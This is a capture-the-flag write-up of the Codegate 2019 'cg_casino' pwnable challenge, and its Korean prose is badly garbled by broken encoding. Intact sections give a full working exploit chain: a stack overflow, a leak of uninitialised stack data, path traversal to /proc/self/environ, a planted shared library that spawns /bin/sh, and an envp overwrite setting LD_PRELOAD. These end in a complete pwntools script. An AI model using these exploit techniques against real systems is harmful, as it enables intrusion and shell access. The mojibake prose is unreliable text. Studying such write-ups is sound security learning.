Codegate CTF 2019 Quals - cg_casino
๋ชฉ์ฐจ
Codegate CTF 2019 Quals pwnable challenge ์ธ ๊ฐ์ ์นด์ง๋
ธ ๊ฒ์๊ณผ ๋จผ์ ๊ทธ๋ฐ๋ฐ ์
๋ ฅ์ ํ์ง๋ง ๋์ ๋ถ์์ ํ๋ค๊ฐ ์ฐ์ฐํ ์ป์ด๊ฑธ๋ ธ๋๋ฐ, ์๋๋ ๋จ์ํ 0~44 ๋ฒ์์ ๋๋ค ์ซ์ 6๊ฐ๋ฅผ ์์ฑํด์ ์ ์ฅํ ํ, ๊ทธ๋ฐ๋ฐ ์ฌ์ค ์ทจ์ฝ์ ์ด๋ผ๊ธฐ๋ณด๋ค๋ ๋ฐ์ด๋๋ฆฌ์ ์ฃผ์ด์ง ๊ธฐ๋ฅ์ธ๋ฐ, ์ทจ์ฝ์ ์ ์ด๊ฒ ๋์ธ๋ฐ, ๋ฌธ์ ๋ ํ์ผ์ ์๋ฒ์ ์ฌ๋ฆด ๋ฐฉ๋ฒ์ด ์๋ค. ์ด๋ป๊ฒ๋ ํ์ผ์ ์๋ฒ์ ์ฌ๋ฆฐ ๋ค์ ๊ทธ๋ฌ๋ค๊ฐ ์ค์ ๋ก stack์ ๋์ ์๋ ํ๊ฒฝ๋ณ์๊น์ง ๊ฐ์ ๋ฎ์ด๋ณด๋ ๋ค์๊ณผ ๊ฐ์ด ๋ฐ๋ผ์ ์ด๋ฐ ์์ผ๋ก stack์ ๊ฐ์ ์กฐ์ํด์ ๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ๊ตฌ์ฑํ๋ค. ํํธ ์ด ๊ณผ์ ์์ ๋ฐ๋ผ์ ์ payload๋ฅผ ์ถ๊ฐํด์ฃผ์ด์ผ ํ๋ค. ์ฌ๊ธฐ์์ ๋ฌธ์ ๊ฐ ํ๋ ๋ ์๋๋ฐ ํ๊ฒฝ๋ณ์ ์์ญ๋ ํ๋๊ฐ ์๊ธฐ ๋๋ฌธ์ ๊ทธ๋์ 3432๋ณด๋ค ์์ libc๊ฐ ํ์ํ๋ฐ, ๋ค์ ์์ค์ฝ๋๋ฅผ ์์ ํ์ธํ๋๋ก libc ์์ญ์ ์ฃผ์๊ฐ ๋จ์์๋๋ฐ ํ์ํ ์ฃผ์๊ฐ์ด ๋ญ์ง ์๊ฐํด๋ณด๋ฉด stack์ ์ฃผ์์ ๊ฐ๊น๋ค. ๋ฐ๋ผ์ ๋ค๋ฅธ ํจ์๋ฅผ ๋จผ์ ์คํํด์ ์ด์ ์์ ์คํํด์ฃผ๋ libc ํ์ผ์ ํ์ฌ libc์ ํ
์คํธ ์ฝ๋๋ฅผ ์์ฑํด์ 1๋ฒ์ ๊ฐ๋ฅํ ๊ฒ์ ํ์ธํ๋๋ฐ ์์ฝ๊ฒ๋ 2๋ฒ์ด ์ ์ฉ๋์ง ์์๋ค. ๋ฐ๋ผ์ ํ์ฌ ํ๋ก์ธ์ค์ ํ๊ฒฝ๋ณ์๋ฅผ ์กฐ์ํด๋๊ณ , ๊ทธ ํ๊ฒฝ๋ณ์๋ฅผ ๊ฐ์ ธ๋ค๊ฐ ์ฐ๋ ํ๋ก์ธ์ค๋ฅผ ์คํํ ์ ์์ด์ผ ํ๋ค. ๊ทธ๋ฌ๋ค๊ฐ ํ์ฌ ํ๋ก์ธ์ค์ธ ์ด ์ํ์์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ฐ๋ผ๊ฐ๋ณด๋ฉด, ๋ฐ๋ผ์ ์ด ๊ตฌ์ฑ์ ์ ๋ฐ๋ฅด๋, ๋ฌธ์ ๋ ์ฌ๊ธฐ์ ํ๊ฒฝ๋ณ์๊ฐ stack์ ๋์๋ฝ์ ์์นํ๊ฒ ๋๋๋ฐ, ์ด offset์ด ์ผ์ ํ์ง ์์์ ํ๋ฅ ์ด์๊ฐ ๋ฐ์ํ๋ค. ์ฐจ์ด๋ฅผ ๊ณ์ ์ฒดํฌํด๋ณด๋ 0x00. Introduction
[*] '/home/user/cg_casino'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000) Concept
โ nc 0 6677
$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$ CG CASINO $$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> put voucher์ merge voucher ๊ธฐ๋ฅ์ด ๊ตฌํ๋์ด์๋ค. 0x01. Vulnerability
Stack Overflow
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
char new[48]; // [rsp+30h] [rbp-60h] BYREF
char old[40]; // [rsp+60h] [rbp-30h] BYREF
...
switch ( choice )
{
case 1:
memset(new, 0, 0x28uLL);
printf("input voucher : ");
read_401108((__int64)new);
len32_alnum_4010A4(new);
break;
case 2:
memset(old, 0, sizeof(old));
printf("input old voucher : ");
read_401108((__int64)old);
xstat_unlink_400F09(new, old);
break;
}
...
}voucher๋ฅผ putํ๊ฑฐ๋ mergeํ๊ธฐ ์ํด voucher ์ด๋ฆ์ ์
๋ ฅ๋ฐ๋๋ฐ, read_401108()์์ ์
๋ ฅ์ ๋ฐ๊ฒ ๋๋ค.unsigned __int64 __fastcall read_401108(__int64 a1)
{
...
while ( 1 )
{
if ( (unsigned int)read(0, &buf, 1uLL) != 1 )
exit(-1);
if ( buf == 10 )
break;
index = i++;
*(_BYTE *)(a1 + index) = buf;
}
v1 = i++;
*(_BYTE *)(v1 + a1) = 0;
...
}\n์ด ๋์ฌ ๋๊น์ง 1๋ฐ์ดํธ์ฉ ๋์์ด ๋ฐ๊ธฐ ๋๋ฌธ์ stack์ ๋๊น์ง overflow๊ฐ ๋ฐ์ํ๋ค.main()์์ return์ ํ๋ ๋ถ๋ถ ์์ด ๋ฐ๋ก exit()์ ํ๊ธฐ ๋๋ฌธ์ RIP control์ ์ด๋ ค์ ๋ณด์ธ๋ค. Stack Leak
lotto_4011A7()์์ ์ด๊ธฐํ๋์ง ์์ ๋ฐ์ดํฐ์ leak์ด ๊ฐ๋ฅํ๋ค.unsigned __int64 lotto_4011A7()
{
...
int number[6]; // [rsp+10h] [rbp-40h]
int guess[6]; // [rsp+30h] [rbp-20h] BYREF
...
while ( i <= 5 )
{
__isoc99_scanf("%u", &guess[i]);
getchar();
if ( (unsigned int)guess[i] <= 44 )
++i;
else
printf("%u : out of range\n", (unsigned int)guess[i]);
}
puts("===================");
...
}guess ๋ฐฐ์ด์ ๊ฐ์ ์
๋ ฅํด์ ๋ง์ถ๋ ๊ฒ์์ด๋ค.guess ๊ฐ์ผ๋ก %u ํ์์ ๋ง์ง ์๋, ๊ฐ๋ น a๊ฐ ์
๋ ฅ๋๋ฉด scanf๊ฐ ์คํจํ๊ณ ๊ธฐ์กด์ ์ ์ฅ๋์ด์๋ guess์ ๊ฐ์ ์ถ๋ ฅํด์ค๋ค.GUESS 6 Numbers!
===================
| | | | | | |
===================
a a a a a a
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range File Copy
merge voucher์์ ๋ค์ ํจ์๊ฐ ํธ์ถ๋๋ค.unsigned __int64 __fastcall xstat_unlink_400F09(const char *new, char *old)
{
...
if ( strlen(old) == 32 )
{
if ( xstat_4016D0(old, &n_4) == -1 )
{
puts("voucher doesn't exist");
}
else if ( n_4.st_size <= 4096 )
{
fd_old = open(old, 0);
if ( fd_old != -1 )
{
len = read(fd_old, buf, 4096uLL);
close(fd_old);
fd_new = open(new, 66, 384LL);
if ( fd_new != -1 )
{
write(fd_new, buf, len);
close(fd_new);
unlink(old);
}
memset(buf, 0, 0x1000uLL);
}
}
...
}
}put voucher๋ฅผ ํตํด์ stack์ new์ ํ์ผ๋ช
์ ์ง์ ํด๋๋ฉด, ํ์ผ๋ช
์ด 32๋ฐ์ดํธ์ธ ํ์ผ์ /home/cg_casino/voucher/ ๋๋ ํ ๋ฆฌ๋ก ์ฎ๊ธธ ์ ์๋ค. ์
๋ ฅํ ๋ด์ฉ์ ๋ํ ๊ฒ์ฆ์ด ๋ฐ๋ก ์์ผ๋ฏ๋ก ๊ธธ์ด ์ ํ์ ../, ./๋ฅผ ์ ์กฐํฉํด์ ์ฐํํ ์ ์๋ค.../../../../../../././etc/passwd 0x02. Exploit
File Drop
merge voucher ๊ธฐ๋ฅ์ ์ด์ฉํด์ ํ์ผ์ /home/cg_casino/voucher/ ๊ฒฝ๋ก๋ก ์ฎ๊ธด ํ ๋ค์ ๋จ๊ณ๋ก ๋์ด๊ฐ์ผํ ๊ฒ ๊ฐ์๋ฐโฆ/proc/self/environ ํ์ผ์์ ๋ค์ ๋ด์ฉ์ ๋ฐ๊ฒฌํ๋ค.cg_casino@3197b44a521a:~/voucher$ cat /proc/1203/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=3197b44a52
1aERASER2=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...AAAA๋ docker-compose.yml ํ์ผ์์ ์ ์๋ ํ๊ฒฝ๋ณ์ ๊ฐ๋ค์ธ๋ฐ, ์๋ถ๋ถ์ ๋ค๋ฅธ ๋ด์ฉ์ผ๋ก ๋ฐ๋ ๊ฒ์ ๋ณด๋ ์คํ ์ค ๊ฐ์ ๋ฐ์ํ๋ ๊ฒ ๊ฐ์๋ค./proc/self/environ ํ์ผ์ด ๋ณ๊ฒฝ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.cg_casino@3197b44a521a:~/voucher$ cat /proc/1241/environ
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
.../proc/self/environ์ ํ์ผ์ ํํ๋ก ๋จ๊ธธ ์ ์๋ค. Stack Overflow & File Copy
/proc/self/environ์ libc ๋ฐ์ดํฐ๋ฅผ ์ฐ๊ณ ๊ทธ๊ฒ์ /home/cg_casino/voucher๋ก ๊ฐ์ ธ์ค๊ธฐ ์ํ ์กฐ๊ฑด์ ์ด 3๊ฐ์ด๋ค.new๊ฐ /home/cg_casino/voucher์ ์ ์ฅํ ํ์ผ๋ช
์ผ ๊ฒold๊ฐ ๊ธธ์ด๊ฐ 32์ด๊ณ /proc/self/environ ํ์ผ์ ๊ฐ๋ฆฌํฌ ๊ฒ payload = b"mylib.so\x00"
payload += b"\x00" * (env - buf - len(payload))
payload += lib_data
payload += b"\x00" * (3432 - (len(payload)))
put_voucher(s, payload)
merge_voucher(s, b"../../../../../proc/self/environ")read_401108()๋ฅผ ์ด์ฉํด์ ์
๋ ฅ์ ๋ฐ๊ธฐ ๋๋ฌธ์ libc์ \x0a๊ฐ ์์ผ๋ฉด ๋ฐ์ดํฐ๊ฐ ์งค๋ฆด ์ํ์ด ์๋ค. ์ค์ ๋ก๋ \x0a๊ฐ ์์ด์ ํน์๋ ํ๋ ๋ง์์ \x0b๋ก ๋ฐ๊ฟ๋ดค๋๋ฐ ๋คํํ libc๊ฐ ์ ์๋ํ๋ค. with open("./mylib.so", "rb") as f:
lib_data = f.read()
lib_data = lib_data.replace(b"\x0a", b"\x0b") Small Libc
merge voucher๋ก ๊ฐ์ ธ์ฌ ์ ์๋ ๋ฐ์ดํฐ ๊ธธ์ด๊ฐ ์ ํ๋์ด์๋ค.root@3197b44a521a:/home/cg_casino/voucher# ls -al
total 16
drwxrwx-wx 1 root root 4096 Aug 1 05:24 .
drwxr-xr-x 1 root root 4096 Jul 31 08:08 ..
-rw------- 1 cg_casino cg_casino 3432 Aug 1 05:23 mylib.soUbunut 16.04์์ ์ปดํ์ผํด์ ์ฌ์ด์ฆ๊ฐ ์์ libc๋ฅผ ๋ง๋ค ์ ์์๋ค.// gcc -w -znorelro -s -fPIC -shared -nostdlib -o mylib.so mylib.c
__attribute__((destructor))
void on_unload() {
system("/bin/sh");
}Ubuntu 22.04์์๋ ๊ฐ์ ์ปดํ์ผ ์ต์
์ ์ค๋ ์ฌ์ด์ฆ๊ฐ ๊ฝค ํฐ๋ฐ, ์ปดํ์ผ๋ฌ ๋ฒ์ ์ ๋ฐ๋ผ์๋ ์ด๋ ๊ฒ ์ฐจ์ด๊ฐ ์ฌํ ์ ์๋ค๋ ์์๋ฌ์ผ๊ฒ ๋ค.โ ls -al | grep mylib_from
-rwxr-xr-x 1 user user 2632 Aug 1 08:28 mylib_from1604.so
-rwxr-xr-x 1 user user 10160 Aug 1 14:40 mylib_from2204.so Stack Leak
lotto_4011A7()์์ %u ํ์์ด ์๋ ๋ฐ์ดํฐ๋ฅผ ์
๋ ฅํ๋ฉด guess[i]์ ๋ฐ์ดํฐ๋ฅผ ์ถ๋ ฅํ ์ ์๋ค. guess๋ 6๊ฐ์ integer ๋ฐฐ์ด์ด๋ฏ๋ก ์ด 0x18 ๊ธธ์ด์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ์ธํ ์ ์๊ณ ์ด๊ธฐํ๋์ง ์์ ์ํ์์์ guess ๊ฐ์ ํ์ธํด๋ณด๋ฉด,gefโค x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000 0x00007ffff7ffe168
0x7fffffffdf00: 0x0000000000000000$rsp+0x30 ์์ญ์ stack ์ฃผ์๋ฅผ ๋จ๊ธธ ์ ์๋์ง ํ์ธํด๋ณด์๋๋ฐ, up_down_40139E()์ ํธ์ถํ ๋ค lotto_4011A7()๋ฅผ ํธ์ถํ๋ฉด ๊ฐ๋ฅํ๋ค.gefโค x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000 0x00007fffffffdf10
0x7fffffffdf00: 0x0000000000400bb0guess๋ integer์ด๋ฏ๋ก 3๋ฒ์งธ, 4๋ฒ์งธ ์
๋ ฅ์ ์ค ๋ โaโ๋ฅผ ์
๋ ฅํ๋ฉด 4๋ฐ์ดํธ์ฉ leak์ด ๊ฐ๋ฅํ๋ฏ๋ก, ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ค. updown(s, [1, 1, 1, 1, 1, 1])
r = lotto(s, b"1 2 a 3 a 4 5 6")
lower = int(r.split(b" : ")[0])
upper = int(r.split(b" : ")[1].split(b"\n")[1])
buf = upper << 32 | lower + 0x40
log.info(f"buf : {hex(buf)}") Envp Overwrite
/home/cg_casino/voucher์ ์์ฐฉ์์ผฐ์ผ๋, ์ด๊ฑธ ์คํ๋ง ์ํค๋ฉด ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ์ํ๋ libc๋ฅผ ๋ก๋ํ๋ ํ
ํฌ๋์ผ๋ก LD_PRELOAD ํ๊ฒฝ๋ณ์๋ฅผ ์ด์ฉํ๋ ๋ฐฉ์์ด ์์ด์ ์ด๋ป๊ฒ ํ์ฉํ ์ง ๊ณ ๋ฏผํ๋ค.on_unload()๋ฅผ ์ ์ํด๋์์ผ๋ฏ๋ก ๋ ๊ฐ์ง๋ฅผ ํ์ธํด์ผํ๋๋ฐ,exit(0);์ ํตํด์๋ on_unload()๊ฐ ํธ์ถ๋๋์งLD_PRELOAD๊ฐ ์ ์ฉ๋๋์งslot_401477()์์ system("/usr/bin/clear");์ ์ฌ์ฉํ๋๋ฐ, ๋์ ๋ถ์์ ํ ๋ ๋ค์๊ณผ ๊ฐ์ ๋ฉ์ธ์ง๊ฐ ์ถ๋ ฅ๋ ๊ฒ์ด ๊ธฐ์ต๋ฌ๋ค. _______
|JACKPOT|
=========================
| ___ ___ ___ |
| | ? | | ? | | ? | |
| |___| |___| |___| |
=========================
|________________________|
press any key
TERM environment variable not setcg_casino๋ ํ๊ฒฝ๋ณ์๊ฐ docker-compose.yml ํ์ผ์์ ERASER๋ฅผ ํตํด ๊ฐ์ด ๋ฐ๋ ค์๋ ์ํ์ด๋ค. ์ฌ๊ธฐ์์ system()์ ์ฌ์ฉํ ๋ ๋ด๋ถ์ ์ผ๋ก execve()๊ฐ ํธ์ถ๋๋๋ฐ ์ด ๊ณผ์ ์์ **envp๊ฐ ์ ๋ฌ๋๋ ๊ฒ ๊ฐ๋ค.**envp๋ main()์ด ํธ์ถ๋ ๋ 3๋ฒ์งธ ์ธ์๋ก ์ ๋ฌ๋๊ณ , main()์ ์ด๋ฐ์์ ๋ค์๊ณผ ๊ฐ์ด $rbp-0x88์ ์ ์ฅ์ด ๋๋ค. 0x400ca6: push rbp
0x400ca7: mov rbp,rsp
0x400caa: sub rsp,0x90
0x400cb1: mov DWORD PTR [rbp-0x74],edi
0x400cb4: mov QWORD PTR [rbp-0x80],rsi
0x400cb8: mov QWORD PTR [rbp-0x88],rdxgefโค x/gx $rbp-0x88
0x7fffffffdf28: 0x00007fffffffe0a8
gefโค x/10gx 0x00007fffffffe0a8
0x7fffffffe0a8: 0x00007fffffffe276 0x00007fffffffe2b8
0x7fffffffe0b8: 0x00007fffffffe2ce 0x00007fffffffe564
0x7fffffffe0c8: 0x00007fffffffe7fa 0x00007fffffffea90
0x7fffffffe0d8: 0x00007fffffffed26 0x00007fffffffefbc
0x7fffffffe0e8: 0x00007fffffffefc7 0x0000000000000000
gefโค x/s 0x00007fffffffe276
0x7fffffffe276: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"**envp(0x7fffffffdf28) -> *envp(0x7fffffffe0a8) -> first env(0x7fffffffe276)` ํ์์ผ๋ก ๊ตฌ์ฑ๋์ด์๋ค.*envp์ ๋์๋ null์ ๊ผญ ๋ฃ์ด์ฃผ์ด์ผ ํ๋ค. payload = b"\x00" * (env_p_p - buf)
payload += p64(env_p)
payload += b"\x00" * (env_p - buf - len(payload))
payload += p64(env)
payload += b"\x00" * (env - buf - len(payload))
payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
put_voucher(s, payload)
s.sendline(b"5")0xXX0 ์ ๋ ์ฐจ์ด๊ฐ ๋๋ ๊ฒ์ผ๋ก ๋ณด์ 1/256 ํ๋ฅ ๋ก exploit์ด ์ฑ๊ณตํ ๊ฒ ๊ฐ๋ค. 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os
DEBUG = False
BINARY = "cg_casino"
CONTAINER = "d20ec1bc9a88"
bp = {
"getchar_of_main" : 0x400CF8,
"read_bof" : 0x401108,
"xstat_unlink" : 0x400F09,
"slotmachine" : 0x401477,
"lotto" : 0x4011A7,
"scanf_of_lotto" : 0x40129D,
}
gs = f'''
set follow-fork-mode child
!b *{bp["xstat_unlink"]}
b *{bp["getchar_of_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def put_voucher(s, new):
s.sendline(b"1")
s.recvuntil(b" : ")
s.sendline(new)
sleep(0.1)
return s.recvuntil(b"> ")
def merge_voucher(s, old):
s.sendline(b"2")
s.recvuntil(b" : ")
s.sendline(old)
return s.recvuntil(b"> ")
def lotto(s, numbers):
s.sendline(b"3")
sleep(0.1)
s.recv()
s.sendline(numbers)
return s.recvuntil(b"> ")
def updown(s, numbers):
s.sendline(b"4")
s.recvuntil(b". \n")
for number in numbers:
s.sendline(str(number).encode())
s.recvuntil(b"it\n")
return s.recvuntil(b"> ")
def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
if DEBUG:
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
else:
s = process(f"/home/user/{BINARY}")
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
with open("./mylib.so", "rb") as f:
lib_data = f.read()
lib_data = lib_data.replace(b"\x0a", b"\x0b")
s.recvuntil(b"> ")
updown(s, [1, 1, 1, 1, 1, 1])
r = lotto(s, b"1 2 a 3 a 4 5 6")
lower = int(r.split(b" : ")[0])
upper = int(r.split(b" : ")[1].split(b"\n")[1])
buf = upper << 32 | lower + 0x40
log.info(f"buf : {hex(buf)}")
env = buf + 0x1796
env = buf + 0x326
env_p = buf + 0x158
env_p_p = buf + 0xe8
log.info(f"env_p_p : {hex(env_p_p)}")
log.info(f"env_p : {hex(env_p)}")
log.info(f"env : {hex(env)}")
payload = b"mylib.so\x00"
payload += b"\x00" * (env - buf - len(payload))
payload += lib_data
payload += b"\x00" * (3432 - (len(payload)))
put_voucher(s, payload)
pause()
merge_voucher(s, b"../../../../../proc/self/environ")
payload = b"\x00" * (env_p_p - buf)
payload += p64(env_p)
payload += b"\x00" * (env_p - buf - len(payload))
payload += p64(env)
payload += b"\x00" * (env - buf - len(payload))
payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
put_voucher(s, payload)
s.sendline(b"5")
s.interactive()
if __name__=='__main__':
main()